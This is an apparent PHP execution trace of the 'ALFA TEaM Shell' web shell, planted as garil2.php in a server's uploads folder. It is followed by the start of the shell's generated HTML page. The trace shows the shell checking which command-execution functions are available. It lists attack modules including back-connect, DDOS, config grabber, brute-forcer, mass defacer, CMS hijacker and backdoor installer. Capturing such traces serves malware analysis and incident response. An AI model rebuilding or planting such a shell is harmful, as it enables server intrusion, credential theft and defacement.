5	503	0	0.175893	2816192	explode	0		/var/www/html/uploads/garil2.php	916	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	503	1	0.175916	2818664
5	503	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/garil2.php	916	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	504	0	0.175982	2818592	array_unique	0		/var/www/html/uploads/garil2.php	917	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	504	1	0.176013	2819960
5	504	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/garil2.php	917	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/garil2.php	918	$i = 0
4		A						/var/www/html/uploads/garil2.php	919	$b = 0
4		A						/var/www/html/uploads/garil2.php	920	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4		A						/var/www/html/uploads/garil2.php	921	$black_list = []
4		A						/var/www/html/uploads/garil2.php	922	$allow_list = []
5	505	0	0.176131	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_alarm'
5	505	1	0.176144	2818624
5	505	R			'pcntl_alarm'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_alarm'
5	506	0	0.176168	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_alarm'
5	506	1	0.176182	2818624
5	506	R			FALSE
5	507	0	0.176195	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_fork'
5	507	1	0.176208	2818624
5	507	R			'pcntl_fork'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_fork'
5	508	0	0.176231	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_fork'
5	508	1	0.176245	2818624
5	508	R			FALSE
5	509	0	0.176258	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_waitpid'
5	509	1	0.176270	2818624
5	509	R			'pcntl_waitpid'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_waitpid'
5	510	0	0.176293	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_waitpid'
5	510	1	0.176306	2818624
5	510	R			FALSE
5	511	0	0.176319	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wait'
5	511	1	0.176334	2818624
5	511	R			'pcntl_wait'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wait'
5	512	0	0.176357	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wait'
5	512	1	0.176370	2818624
5	512	R			FALSE
5	513	0	0.176383	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wifexited'
5	513	1	0.176395	2818624
5	513	R			'pcntl_wifexited'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wifexited'
5	514	0	0.176419	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wifexited'
5	514	1	0.176432	2818624
5	514	R			FALSE
5	515	0	0.176444	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wifstopped'
5	515	1	0.176457	2818624
5	515	R			'pcntl_wifstopped'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wifstopped'
5	516	0	0.176483	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wifstopped'
5	516	1	0.176496	2818624
5	516	R			FALSE
5	517	0	0.176545	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wifsignaled'
5	517	1	0.176559	2818624
5	517	R			'pcntl_wifsignaled'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wifsignaled'
5	518	0	0.176584	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wifsignaled'
5	518	1	0.176597	2818624
5	518	R			FALSE
5	519	0	0.176609	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wifcontinued'
5	519	1	0.176622	2818624
5	519	R			'pcntl_wifcontinued'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wifcontinued'
5	520	0	0.176645	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wifcontinued'
5	520	1	0.176658	2818624
5	520	R			FALSE
5	521	0	0.176670	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wexitstatus'
5	521	1	0.176683	2818624
5	521	R			'pcntl_wexitstatus'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wexitstatus'
5	522	0	0.176706	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wexitstatus'
5	522	1	0.176719	2818624
5	522	R			FALSE
5	523	0	0.176731	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wtermsig'
5	523	1	0.176743	2818624
5	523	R			'pcntl_wtermsig'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wtermsig'
5	524	0	0.176767	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wtermsig'
5	524	1	0.176780	2818624
5	524	R			FALSE
5	525	0	0.176792	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_wstopsig'
5	525	1	0.176804	2818624
5	525	R			'pcntl_wstopsig'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_wstopsig'
5	526	0	0.176827	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_wstopsig'
5	526	1	0.176840	2818624
5	526	R			FALSE
5	527	0	0.176852	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_signal'
5	527	1	0.176864	2818624
5	527	R			'pcntl_signal'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_signal'
5	528	0	0.176887	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_signal'
5	528	1	0.176899	2818624
5	528	R			FALSE
5	529	0	0.176911	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_signal_get_handler'
5	529	1	0.176923	2818624
5	529	R			'pcntl_signal_get_handler'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_signal_get_handler'
5	530	0	0.176947	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_signal_get_handler'
5	530	1	0.176960	2818624
5	530	R			FALSE
5	531	0	0.176973	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_signal_dispatch'
5	531	1	0.176985	2818624
5	531	R			'pcntl_signal_dispatch'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_signal_dispatch'
5	532	0	0.177008	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_signal_dispatch'
5	532	1	0.177021	2818624
5	532	R			FALSE
5	533	0	0.177039	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_get_last_error'
5	533	1	0.177055	2818624
5	533	R			'pcntl_get_last_error'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_get_last_error'
5	534	0	0.177079	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_get_last_error'
5	534	1	0.177092	2818624
5	534	R			FALSE
5	535	0	0.177105	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_strerror'
5	535	1	0.177117	2818624
5	535	R			'pcntl_strerror'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_strerror'
5	536	0	0.177140	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_strerror'
5	536	1	0.177152	2818624
5	536	R			FALSE
5	537	0	0.177165	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_sigprocmask'
5	537	1	0.177177	2818624
5	537	R			'pcntl_sigprocmask'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_sigprocmask'
5	538	0	0.177201	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_sigprocmask'
5	538	1	0.177213	2818624
5	538	R			FALSE
5	539	0	0.177226	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_sigwaitinfo'
5	539	1	0.177238	2818624
5	539	R			'pcntl_sigwaitinfo'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_sigwaitinfo'
5	540	0	0.177261	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_sigwaitinfo'
5	540	1	0.177274	2818624
5	540	R			FALSE
5	541	0	0.177286	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_sigtimedwait'
5	541	1	0.177298	2818624
5	541	R			'pcntl_sigtimedwait'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_sigtimedwait'
5	542	0	0.177322	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_sigtimedwait'
5	542	1	0.177334	2818624
5	542	R			FALSE
5	543	0	0.177347	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_exec'
5	543	1	0.177359	2818624
5	543	R			'pcntl_exec'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_exec'
5	544	0	0.177382	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_exec'
5	544	1	0.177394	2818624
5	544	R			FALSE
5	545	0	0.177407	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_getpriority'
5	545	1	0.177419	2818624
5	545	R			'pcntl_getpriority'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_getpriority'
5	546	0	0.177442	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_getpriority'
5	546	1	0.177455	2818624
5	546	R			FALSE
5	547	0	0.177467	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_setpriority'
5	547	1	0.177479	2818624
5	547	R			'pcntl_setpriority'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_setpriority'
5	548	0	0.177502	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_setpriority'
5	548	1	0.177515	2818624
5	548	R			FALSE
5	549	0	0.177527	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	'pcntl_async_signals'
5	549	1	0.177539	2818624
5	549	R			'pcntl_async_signals'
4		A						/var/www/html/uploads/garil2.php	924	$d = 'pcntl_async_signals'
5	550	0	0.177563	2818592	is_callable	0		/var/www/html/uploads/garil2.php	925	1	'pcntl_async_signals'
5	550	1	0.177576	2818624
5	550	R			FALSE
5	551	0	0.177588	2818592	trim	0		/var/www/html/uploads/garil2.php	924	1	''
5	551	1	0.177599	2818624
5	551	R			''
4		A						/var/www/html/uploads/garil2.php	924	$d = ''
4	501	1	0.177622	2815744
4	501	R			'<span class="header_show_all">All Functions Accessible</span>'
4	552	0	0.177643	2817536	getenv	0		/var/www/html/uploads/garil2.php	1189	1	'SERVER_SOFTWARE'
4	552	1	0.177658	2817616
4	552	R			'Apache/2.4.52 (Ubuntu)'
3		A						/var/www/html/uploads/garil2.php	1206	$li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'proc'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'phpeval'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'sql'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'dumper'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'coldumper'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'hash'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'connect'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'zoneh'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'dos'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'safe'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'cgishell'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'ssiShell'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'cpcrack'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'portscanner'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'basedir'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'mail'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'ziper'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'deziper'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'IndexChanger'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'pwchanger'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'ShellInjectors'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'php2xml'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'cloudflare'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'Whmcs'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'symlink'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'MassDefacer'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'Crackers'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'searcher'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'config_grabber'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'fakepage'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'archive_manager'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'cmshijacker'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'remotedl'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'inbackdoor'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'whois'
3		A						/var/www/html/uploads/garil2.php	1212	$key = 'selfrm'
3	127	1	0.178486	2811800
3	553	0	0.178495	2811800	AlfaNum	1		/var/www/html/uploads/garil2.php	2557	7	8	9	10	7	6	5	4
3		A						/var/www/html/uploads/garil2.php	944	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3		A						/var/www/html/uploads/garil2.php	945	$alfax = []
3		A						/var/www/html/uploads/garil2.php	946	$find = []
3		A						/var/www/html/uploads/garil2.php	947	$i = 1
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 1
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 2
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 3
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 4
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 5
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 6
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 7
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 8
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 9
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	948	$alfax[] = 10
3		A						/var/www/html/uploads/garil2.php	947	$i++
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 8
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 9
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 10
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 7
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 6
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 5
3		A						/var/www/html/uploads/garil2.php	951	$find[] = 4
4	554	0	0.178787	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	554	1	0.178805	2813320
4	554	R			FALSE
4	555	0	0.178819	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	555	1	0.178835	2813320
4	555	R			FALSE
4	556	0	0.178848	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	556	1	0.178864	2813320
4	556	R			FALSE
4	557	0	0.178877	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	557	1	0.178893	2813320
4	557	R			TRUE
4	558	0	0.178905	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	558	1	0.178921	2813320
4	558	R			TRUE
4	559	0	0.178933	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	559	1	0.178949	2813320
4	559	R			TRUE
4	560	0	0.178961	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	560	1	0.178977	2813320
4	560	R			TRUE
4	561	0	0.178989	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	561	1	0.179004	2813320
4	561	R			TRUE
4	562	0	0.179016	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	562	1	0.179032	2813320
4	562	R			TRUE
4	563	0	0.179044	2813248	in_array	0		/var/www/html/uploads/garil2.php	955	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	563	1	0.179059	2813320
4	563	R			TRUE
3	553	1	0.179072	2811800
3	564	0	0.179080	2811800	alfafooter	1		/var/www/html/uploads/garil2.php	2559	0
4	565	0	0.179092	2811800	htmlspecialchars	0		/var/www/html/uploads/garil2.php	2289	1	'/var/www/html/uploads/'
4	565	1	0.179106	2811992
4	565	R			'/var/www/html/uploads/'
4	566	0	0.179122	2814872	date	0		/var/www/html/uploads/garil2.php	2302	1	'Y'
4	566	1	0.179153	2815160
4	566	R			'2023'
3	564	1	0.180848	2828184
2	126	1	0.180858	2828184
			0.180893	2635272
TRACE END   [2023-02-12 22:37:28.256153]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px 